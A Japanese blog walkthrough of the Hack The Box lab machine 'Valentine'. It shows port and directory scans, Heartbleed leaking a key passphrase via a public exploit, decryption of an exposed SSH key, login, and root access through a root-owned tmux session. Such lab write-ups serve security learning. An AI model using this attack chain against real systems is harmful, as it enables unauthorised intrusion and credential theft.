家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】valentine

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -p- 10.10.10.79           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 23:04 JST
Stats: 0:05:44 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 43.01% done; ETC: 23:18 (0:07:36 remaining)
Stats: 0:08:41 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 65.30% done; ETC: 23:18 (0:04:37 remaining)
Nmap scan report for 10.10.10.79
Host is up (0.18s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

HTTPとHTTPSが開いていることがわかりました。

ブラウザでアクセスしてみると以下のような画像が表示されました。

ブラウザでアクセスした様子

dirbを実行してみます。

┌─[iestudy@parrot]─[~]
└──╼ $dirb http://10.10.10.79
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
URL_BASE: http://10.10.10.79/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.10.79/ ----
+ http://10.10.10.79/cgi-bin/ (CODE:403|SIZE:287)                              
+ http://10.10.10.79/decode (CODE:200|SIZE:552)                                
==> DIRECTORY: http://10.10.10.79/dev/                                         
+ http://10.10.10.79/encode (CODE:200|SIZE:554)                                
+ http://10.10.10.79/index (CODE:200|SIZE:38)                                  
+ http://10.10.10.79/index.php (CODE:200|SIZE:38)                              
+ http://10.10.10.79/server-status (CODE:403|SIZE:292)                         
---- Entering directory: http://10.10.10.79/dev/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
DOWNLOADED: 4612 - FOUND: 6

/devにアクセスするとリストが表示されました。

ディレクトリリスティング

notes.txtにはencodeおよびdecodeに脆弱性があるような趣旨の記載が確認されました。

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

 

追加情報を求め脆弱性のスキャンを行います。

┌─[iestudy@parrot]─[~]

└──╼ $nmap -T4 --script vuln 10.10.10.79

Nmap scan report for valentine.htb (10.10.10.79)

Host is up (0.18s latency).

Not shown: 997 closed tcp ports (conn-refused)

PORT    STATE SERVICE

22/tcp  open  ssh

80/tcp  open  http

| http-enum: 

|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'

|_  /index/: Potentially interesting folder

|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

|_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

443/tcp open  https

| http-enum: 

|   /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'

|_  /index/: Potentially interesting folder

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| ssl-ccs-injection: 

|   VULNERABLE:

|   SSL/TLS MITM vulnerability (CCS Injection)

|     State: VULNERABLE

|     Risk factor: High

|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h

|       does not properly restrict processing of ChangeCipherSpec messages,

|       which allows man-in-the-middle attackers to trigger use of a zero

|       length master key in certain OpenSSL-to-OpenSSL communications, and

|       consequently hijack sessions or obtain sensitive information, via

|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.

|           

|     References:

|       http://www.openssl.org/news/secadv_20140605.txt

|       http://www.cvedetails.com/cve/2014-0224

|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224

|_http-csrf: Couldn't find any CSRF vulnerabilities.

| ssl-heartbleed: 

|   VULNERABLE:

|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.

|     State: VULNERABLE

|     Risk factor: High

|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.

|           

|     References:

|       http://cvedetails.com/cve/2014-0160/

|       http://www.openssl.org/news/secadv_20140407.txt 

|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

| ssl-poodle: 

|   VULNERABLE:

|   SSL POODLE information leak

|     State: VULNERABLE

|     IDs:  BID:70574  CVE:CVE-2014-3566

|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other

|           products, uses nondeterministic CBC padding, which makes it easier

|           for man-in-the-middle attackers to obtain cleartext data via a

|           padding-oracle attack, aka the "POODLE" issue.

|     Disclosure date: 2014-10-14

|     Check results:

|       TLS_RSA_WITH_AES_128_CBC_SHA

|     References:

|       https://www.imperialviolet.org/2014/10/14/poodle.html

|       https://www.openssl.org/~bodo/ssl-poodle.pdf

|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566

|_      https://www.securityfocus.com/bid/70574

 

OpenSSLの脆弱性があるようです。

※他の方の記事を読んで、冒頭の画像がHeartBleedのイラストを示していることを知りました。

 

OpenSSLについて

www.iestudy.work

 

Exploitを検索し実行します。

searchsploit -p 32745

 

HeartBleedのexploit実行中の様子

実行すると「$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==」という文字列が取得できます。

これをdecodeすると、「heartbleedbelievethehype」という文字列が取得できます。

 

また、/devにあった「hype_key」は16進数でエンコードされているようでした。

以下のコマンドでデコードすると秘密鍵が取得できました。

┌─[iestudy@parrot]─[~/htb]

└──╼ $cat hype_key | xxd -r -p > valentine.key

 

中身を見ると「ENCRYPTED」とあるため、そのままでは使用できないのでopensslコマンドでdecodeします。

┌─[iestudy@parrot]─[~/htb]
└──╼ $openssl rsa -in valentine.key -out valentine.decrypted

Enter pass phrase for valentine.key:heartbleedbelievethehype
writing RSA key

 

アクセス取得

上記で得られた情報をもとにsshでアクセスしてみます。

┌─[iestudy@parrot]─[~/htb]
└──╼ $ssh -i valentine.decrypted hype@10.10.10.79
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
 * Documentation:  https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

hype@Valentine:~$ 

 

権限昇格

valentine上でlinpeas.shを実行します。

 

root権限で実行されているtmux

tmuxというものはハイライトされていました。

tmuxとは、ターミナルマルチプレクサ(Terminal Multiplexer) の略で、Linux系のターミナル画面を複数のセッション、ウィンドウ、ペインに分割して利用することができるもののようです。

なお、上記を実行するとrootが取得できました。

tmux実行後のターミナル

 

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

mopenten.com

zenn.dev